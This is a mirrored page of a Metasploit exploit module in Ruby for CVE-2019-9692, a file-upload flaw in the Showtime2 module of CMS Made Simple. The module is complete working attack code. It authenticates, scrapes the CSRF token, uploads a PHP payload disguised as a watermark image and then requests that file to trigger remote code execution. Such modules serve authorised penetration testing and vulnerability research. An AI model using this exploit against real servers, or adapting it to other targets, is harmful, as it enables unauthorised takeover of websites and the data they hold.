Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/http/cmsms_showtime2_rce.rb
19850 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = NormalRanking
8
9
include Msf::Exploit::Remote::HttpClient
10
include Msf::Exploit::FileDropper
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => "CMS Made Simple (CMSMS) Showtime2 File Upload RCE",
17
'Description' => %q{
18
This module exploits a File Upload vulnerability that lead in a RCE in
19
Showtime2 module (<= 3.6.2) in CMS Made Simple (CMSMS). An authenticated
20
user with "Use Showtime2" privilege could exploit the vulnerability.
21
22
The vulnerability exists in the Showtime2 module, where the class
23
"class.showtime2_image.php" does not ensure that a watermark file
24
has a standard image file extension (GIF, JPG, JPEG, or PNG).
25
26
Tested on Showtime2 3.6.2, 3.6.1, 3.6.0, 3.5.4, 3.5.3, 3.5.2, 3.5.1, 3.5.0,
27
3.4.5, 3.4.3, 3.4.2 on CMS Made Simple (CMSMS) 2.2.9.1
28
},
29
'License' => MSF_LICENSE,
30
'Author' => [
31
'Daniele Scanu', # Discovery & PoC
32
'Fabio Cogno' # Metasploit module
33
],
34
'References' => [
35
['CVE', '2019-9692'],
36
['CWE', '434'],
37
['EDB', '46546'],
38
['URL', 'https://forum.cmsmadesimple.org/viewtopic.php?f=1&t=80285'],
39
['URL', 'http://viewsvn.cmsmadesimple.org/diff.php?repname=showtime2&path=%2Ftrunk%2Flib%2Fclass.showtime2_image.php&rev=47']
40
],
41
'Platform' => 'php',
42
'Arch' => ARCH_PHP,
43
'Targets' => [['Automatic', {}]],
44
'Privileged' => false,
45
'DisclosureDate' => '2019-03-11',
46
'DefaultTarget' => 0,
47
'Notes' => {
48
'Reliability' => UNKNOWN_RELIABILITY,
49
'Stability' => UNKNOWN_STABILITY,
50
'SideEffects' => UNKNOWN_SIDE_EFFECTS
51
}
52
)
53
)
54
55
register_options(
56
[
57
OptString.new('TARGETURI', [true, "Base CMS Made Simple directory path", '/']),
58
OptString.new('USERNAME', [true, "Username to authenticate with", '']),
59
OptString.new('PASSWORD', [false, "Password to authenticate with", ''])
60
]
61
)
62
end
63
64
def do_login
65
res = send_request_cgi(
66
'method' => 'POST',
67
'uri' => normalize_uri(target_uri.path, 'admin', 'login.php'),
68
'vars_post' => {
69
'username' => datastore['username'],
70
'password' => datastore['password'],
71
'loginsubmit' => 'Submit'
72
}
73
)
74
75
unless res
76
fail_with(Failure::Unreachable, 'Connection failed')
77
end
78
79
if res.code == 302
80
@csrf_name = res.headers['Location'].scan(/([^?=&]+)[=([^&]*)]?/).flatten[-2].to_s
81
@csrf_value = res.headers['Location'].scan(/([^?=&]+)[=([^&]*)]?/).flatten[-1].to_s
82
@cookies = res.get_cookies
83
return
84
end
85
86
fail_with(Failure::NoAccess, 'Authentication was unsuccessful')
87
end
88
89
def upload(fname, fcontent)
90
# construct POST data
91
data = Rex::MIME::Message.new
92
data.add_part('Showtime2,m1_,defaultadmin,0', nil, nil, "form-data; name=\"mact\"")
93
data.add_part('Upload', nil, nil, "form-data; name=\"m1_upload_submit\"")
94
data.add_part(@csrf_value, nil, nil, "form-data; name=\"#{@csrf_name}\"")
95
data.add_part(fcontent, 'text/plain', nil, "from-data; name=\"m1_input_browse\"; filename=\"#{fname}\"")
96
97
res = send_request_cgi(
98
'method' => 'POST',
99
'uri' => normalize_uri(target_uri, 'admin', 'moduleinterface.php'),
100
'ctype' => "multipart/form-data; boundary=#{data.bound}",
101
'data' => data.to_s,
102
'headers' => {
103
'Cookie' => @cookies
104
}
105
)
106
107
unless res
108
fail_with(Failure::Unreachable, 'Connection failed')
109
end
110
111
if res.code == 200 && (res.body =~ /#{Regexp.escape(fname)}/i || res.body =~ /id="showoverview"/i)
112
return
113
end
114
115
print_warning('No confidence in PHP payload success or failure')
116
end
117
118
def check
119
res = send_request_cgi(
120
'method' => 'GET',
121
'uri' => normalize_uri(target_uri.path, 'modules', 'Showtime2', 'moduleinfo.ini')
122
)
123
124
unless res
125
vprint_error 'Connection failed'
126
return CheckCode::Unknown
127
end
128
129
if res.code == 200
130
module_version = Rex::Version.new(res.body.scan(/^version = "?(\d\.\d\.\d)"?/).flatten.first)
131
if module_version < Rex::Version.new('3.6.3')
132
# Showtime2 module is uploaded and present on "Module Manager" section but it could be NOT installed.
133
vprint_status("Showtime2 version: #{module_version}")
134
return Exploit::CheckCode::Appears
135
end
136
end
137
138
return Exploit::CheckCode::Safe
139
end
140
141
def exploit
142
unless Exploit::CheckCode::Appears == check
143
fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')
144
end
145
146
@csrf_name = nil
147
@csrf_value = nil
148
@cookies = nil
149
150
do_login
151
152
# Upload PHP payload
153
fname = "#{rand_text_alphanumeric(3..9)}.php"
154
fcontent = "<?php #{payload.encode} ?>"
155
print_status('Uploading PHP payload.')
156
upload(fname, fcontent)
157
158
# Register uploaded PHP payload file for cleanup
159
register_files_for_cleanup('./' + fname)
160
161
# Retrieve and execute PHP payload
162
print_status("Making request for '/#{fname}' to execute payload.")
163
send_request_cgi(
164
{
165
'method' => 'GET',
166
'uri' => normalize_uri(target_uri.path, 'uploads', 'images', fname)
167
},
168
15
169
)
170
end
171
end
172
173